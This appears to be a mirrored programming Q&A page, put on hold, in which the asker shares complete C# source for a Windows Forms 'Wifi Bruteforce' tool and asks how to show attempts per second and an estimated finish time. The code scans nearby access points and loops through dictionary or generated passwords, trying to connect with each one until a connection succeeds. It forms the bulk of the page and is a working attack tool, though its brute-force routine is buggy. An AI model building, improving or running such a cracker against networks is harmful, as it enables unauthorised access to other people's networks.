c#


C# How to calculate speed and estimated time [on hold]


I have created program in C# to bruteforce wifi.How to calculate how many passwords are tested in second,how to calculate estimated to finish bruteforce and how also to show estimated time in progress bar?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using SimpleWifi;
using NativeWifi;
using System.Reflection;
using System.Collections.ObjectModel;
using System.Net;
using System.Threading;
using System.Text.RegularExpressions;
namespace Wifi_Bruteforce
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private static Wifi wifi;
WlanClient wlan = new WlanClient();
List<string> passwords = new List<string>();
private String Alphaup = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
private String Alphalow = "abcdefghijklmnopqrstuvwxyz";
private String num = "0123456789";
private String splchar = "~!##$%^&*()_+`-={}|[]:;'<>?,.";
private String output = "";
Thread t;
private static int count = 0;
private void Form1_Load(object sender, EventArgs e)
{
wifi = new Wifi();
wifi.ConnectionStatusChanged += wifi_ConnectionStatusChanged;
List();
lowercase.Checked = false;
uppercase.Checked = false;
digits.Checked = false;
symbols.Checked = false;
userDefined.Checked = false;
userDefined.Enabled = false;
comboBox1.SelectedIndex = 0;
pauseAttack.Enabled = false;
stopAttack.Enabled = false;
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
if (comboBox1.SelectedIndex == 0)
{
tabPage5.Enabled = true;
tabPage6.Enabled = true;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = false;
startAttack.Text = "Start Brute-force";
pauseAttack.Text = "Pause Brute-force";
stopAttack.Text = "Stop Brute-force";
}
if (comboBox1.SelectedIndex == 1)
{
tabPage5.Enabled = true;
tabPage6.Enabled = false;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = true;
}
if (comboBox1.SelectedIndex == 2)
{
tabPage5.Enabled = false;
tabPage6.Enabled = false;
tabPage7.Enabled = true;
tabPage8.Enabled = true;
mask.Enabled = false;
startAttack.Text = "Start Dictionary Attack";
pauseAttack.Text = "Pause Dictionary Attack";
stopAttack.Text = "Stop Dictionary Attack";
}
if (comboBox1.SelectedIndex == 3)
{
tabPage5.Enabled = false;
tabPage6.Enabled = true;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = false;
}
}
private void spaces_CheckedChanged(object sender, EventArgs e)
{
if (spaces.Checked)
output += " ";
else
output = Regex.Replace(output, "[ ]", "");
}
private void digits_CheckedChanged(object sender, EventArgs e)
{
if (digits.Checked)
output += num;
else
output = Regex.Replace(output, "[0-9]", "");
}
private void lowercase_CheckedChanged(object sender, EventArgs e)
{
if (lowercase.Checked)
output += Alphalow;
else
output = Regex.Replace(output, "[a-z]", "");
}
private void uppercase_CheckedChanged(object sender, EventArgs e)
{
if (uppercase.Checked)
output += Alphaup;
else
output = Regex.Replace(output, "[A-Z]", "");
}
private void symbols_CheckedChanged(object sender, EventArgs e)
{
if (symbols.Checked)
output = output + splchar;
else
output = Regex.Replace(output, "[^a-zA-Z0-9]", "");
}
private delegate void SetControlPropertyThreadSafeDelegate(
Control control,
string propertyName,
object propertyValue);
public static void SetControlPropertyThreadSafe(
Control control,
string propertyName,
object propertyValue)
{
if (control.InvokeRequired)
{
control.Invoke(new SetControlPropertyThreadSafeDelegate
(SetControlPropertyThreadSafe),
new object[] { control, propertyName, propertyValue });
}
else
{
control.GetType().InvokeMember(
propertyName,
BindingFlags.SetProperty,
null,
control,
new object[] { propertyValue });
}
}
private bool check(AccessPoint selectedAP)
{
Collection<String> connectedSsids = new Collection<string>();
if (WifiStatus.Connected.ToString() == "Connected")
{
foreach (WlanClient.WlanInterface wlanInterface in wlan.Interfaces)
{
try
{
Wlan.Dot11Ssid ssid = wlanInterface.CurrentConnection.wlanAssociationAttributes.dot11Ssid;
connectedSsids.Add(new String(Encoding.ASCII.GetChars(ssid.SSID, 0, (int)ssid.SSIDLength)));
}
catch (Exception)
{
return false;
}
}
foreach (string ssid in connectedSsids)
{
if (selectedAP.Name == ssid)
{
return true;
}
else
{
return false;
}
}
}
return false;
}
public static bool CheckForInternetConnection()
{
try
{
using (var client = new WebClient())
using (var stream = client.OpenRead("http://www.google.com"))
{
return true;
}
}
catch
{
return false;
}
}
private IEnumerable<AccessPoint> List()
{
IEnumerable<AccessPoint> accessPoints = wifi.GetAccessPoints().OrderByDescending(ap => ap.SignalStrength);
foreach (AccessPoint ap in accessPoints)
{
ListViewItem lvItem = new ListViewItem(ap.Name);
lvItem.SubItems.Add(ap.SignalStrength + "%");
lvItem.Tag = ap;
listView1.Items.Add(lvItem);
}
return accessPoints;
}
private IEnumerable<AccessPoint> Scan()
{
IEnumerable<AccessPoint> accessPoints = wifi.GetAccessPoints().OrderByDescending(ap => ap.SignalStrength);
return accessPoints;
}
private static void wifi_ConnectionStatusChanged(object sender, WifiStatusEventArgs e)
{
Console.WriteLine("\nNew status: {0}", e.NewStatus.ToString());
}
private void OnConnectedComplete(bool success)
{
Console.WriteLine("\nOnConnectedComplete, success: {0}", success);
}
private void dictionary_crack(AccessPoint selectedAP)
{
var timeEnded = DateTime.Now;
while (true)
{
_pauseEvent.WaitOne(Timeout.Infinite);
if (_shutdownEvent.WaitOne(0))
break;
if (passwords.Count == 0)
{
MessageBox.Show("Please Select a Wordlist");
return;
}
foreach (string pass in passwords)
{
//SetControlPropertyThreadSafe(label3, "Text", "Status: Trying Password: " + pass + " (" + count + " / " + passwords.Count + ")"); count++;
SetControlPropertyThreadSafe(label4, "Text", pass);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pass;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
int i = Convert.ToInt32(textBox1.Text);
Thread.Sleep(i * 1000);
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
SetControlPropertyThreadSafe(label4, "Text", pass);
MessageBox.Show("Password is :" + pass, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
return;
}
}
}
}
private void button1_Click(object sender, EventArgs e)
{
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
System.Diagnostics.Process.Start(e.Link.LinkData.ToString());
}
private void button3_Click(object sender, EventArgs e)
{
listView1.Items.Clear();
List();
}
private void button7_Click(object sender, EventArgs e)
{
listView1.Items.Clear();
List();
}
//Dictionary
private void button4_Click(object sender, EventArgs e)
{
OpenFileDialog oFile = new OpenFileDialog();
openFileDialog1.InitialDirectory = "c:\\";
openFileDialog1.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
openFileDialog1.FilterIndex = 2;
openFileDialog1.RestoreDirectory = true;
string path;
if (oFile.ShowDialog() == DialogResult.OK)
{
path = oFile.FileName;
int counter = 0;
string line;
System.IO.StreamReader file = new System.IO.StreamReader(path);
while ((line = file.ReadLine()) != null)
{
passwords.Add(line);
counter++;
}
file.Close();
}
}
//Bruteforce
private void startAttack_Click(object sender, EventArgs e)
{
var timeStarted = DateTime.Now;
label25.Text = timeStarted.ToString();
var accessPoints = Scan();
AccessPoint selectedAP = null;
foreach (AccessPoint ap in accessPoints)
{
if (ap.Name == listView1.SelectedItems[0].Text)
{
selectedAP = ap;
}
}
if (comboBox1.SelectedIndex == 0)
{
startAttack.Enabled = false;
pauseAttack.Enabled = true;
startAttack.Enabled = true;
try
{
t = new Thread(() => bruteforce_crack(selectedAP));
t.IsBackground = true;
t.Start();
}
catch (Exception a)
{
MessageBox.Show(a.ToString());
}
}
if (comboBox1.SelectedIndex == 1)
{
try
{
t = new Thread(() => dictionary_crack(selectedAP));
t.IsBackground = true;
t.Start();
}
catch (Exception a)
{
MessageBox.Show(a.ToString());
}
}
}
public void bruteforce_crack(AccessPoint selectedAP)
{
ulong permutations = 0;
while (true)
{
_pauseEvent.WaitOne(Timeout.Infinite);
if (_shutdownEvent.WaitOne(0))
break;
char[] arr = output.ToCharArray();
int max = Convert.ToInt32(numericUpDown2.Value);
int min = Convert.ToInt32(numericUpDown1.Value);
for (int i = min; i <= max; i++)
{
permutations += (ulong)Math.Pow(arr.Count(), i);
}
SetControlPropertyThreadSafe(label31, "Text", permutations.ToString());
for (int i = min; i <= max; i++)
{
bruteforce(arr, "", 0, i, selectedAP);
}
}
}
string pass = "";
private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
{
var timeEnded = DateTime.Now;
if (pos < length)
{
foreach (char ch in fin)
{
bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);
pass = ch.ToString();
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pass;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
int i = Convert.ToInt32(textBox1.Text);
Thread.Sleep(i * 1000);
}
}
else
{
try
{
SetControlPropertyThreadSafe(label4, "Text", pass);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
SetControlPropertyThreadSafe(label4, "Text", pass);
MessageBox.Show("Password is :" + pass, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
return;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
ManualResetEvent _shutdownEvent = new ManualResetEvent(false);
ManualResetEvent _pauseEvent = new ManualResetEvent(true);
private void pauseAttack_Click(object sender, EventArgs e)
{
if (pauseAttack.Text == "Pause")
{
pauseAttack.Text = "Resume";
_pauseEvent.Reset();
}
else if (pauseAttack.Text == "Resume")
{
pauseAttack.Text = "Pause";
_pauseEvent.Set();
}
}
private void stopAttack_Click(object sender, EventArgs e)
{
startAttack.Enabled = true;
pauseAttack.Enabled = false;
stopAttack.Enabled = false;
_shutdownEvent.Set();
_pauseEvent.Set();
t.Join();
}
}
}

Related Links

Resolving object with List of different implementations as constructor parameter using Castle Windsor
C# SQL Server Compact Database Login
Possible to use Windows tablet touchscreen with the screen off?
Download file from database asp.net
Visual Studio 2015 Community - XAML Desginer extremely slow to load
Merging touching polygons giving wrong result
Getting users from active directory using openldap c#
How to allow only one checked box in the gridview?
Null Reference Exception being thrown when using a data template selector in a user control WPF
Synchronous Task Execution in C#
Having to click button twice to trigger postback in asp.net
How to execute a method after completion of three proccesses in .net
Parallelize transitive reduction
Why does Visual Studio create double closing brackets for C#6 interpolated strings?
Why does XNA upgrade VS 2010 from v. 10 to v. 11?
Download All Blobs from single Azure Container

Categories

HOME
c#
ssms
indexing
stanford-nlp
system-calls
ns2
wifi
spotfire
magento-1.9.2.1
assign
sugarcrm
handlebars.js
gcloud
digital
console-application
appsettings
jsfiddle
openscad
reportlab
vivado-hls
virtuemart
novacode-docx
aws-devicefarm
passbook
jq
webgl-earth
wai-aria
devexpress-mvc
rvm
handle
gsuite
aspxgridview
scrapy-spider
grunt-contrib-uglify
continuous-fourier
contextmenustrip
ports
apache-falcon
campaign-monitor
scalamock
file-conversion
electron-packager
collation
definition
api-key
spring-ide
geminabox
pyopenssl
flask-socketio
dotnet-cli
android-vectordrawable
senti-wordnet
business-catalyst
scanf
turbolinks
alfred
altova
diameter-protocol
database-administration
gitk
textblob
hexagonal-tiles
dpkt
eggplant
euro
page-refresh
mergecursor
minko
copy-on-write
chrome-mobile
cl.exe
xmlserializer
switchpreference
new-operator
kernel-density
boofcv
mdp
grunt-contrib-imagemin
nokogiri
qgraphicsscene
bho
magicsuggest
phone-state-listener
orchestration
android-memory
nsscrollview
project-files
zend-validate
cinder
viewdata
simultaneous
mdd
time-management
opengl-to-opengles

Resources

Mobile Apps Dev
Database Users
javascript
java
csharp
php
android
MS Developer
developer works
python
ios
c
html
jquery
RDBMS discuss
Cloud Virtualization
Database Dev&Adm
javascript
java
csharp
php
python
android
jquery
ruby
ios
html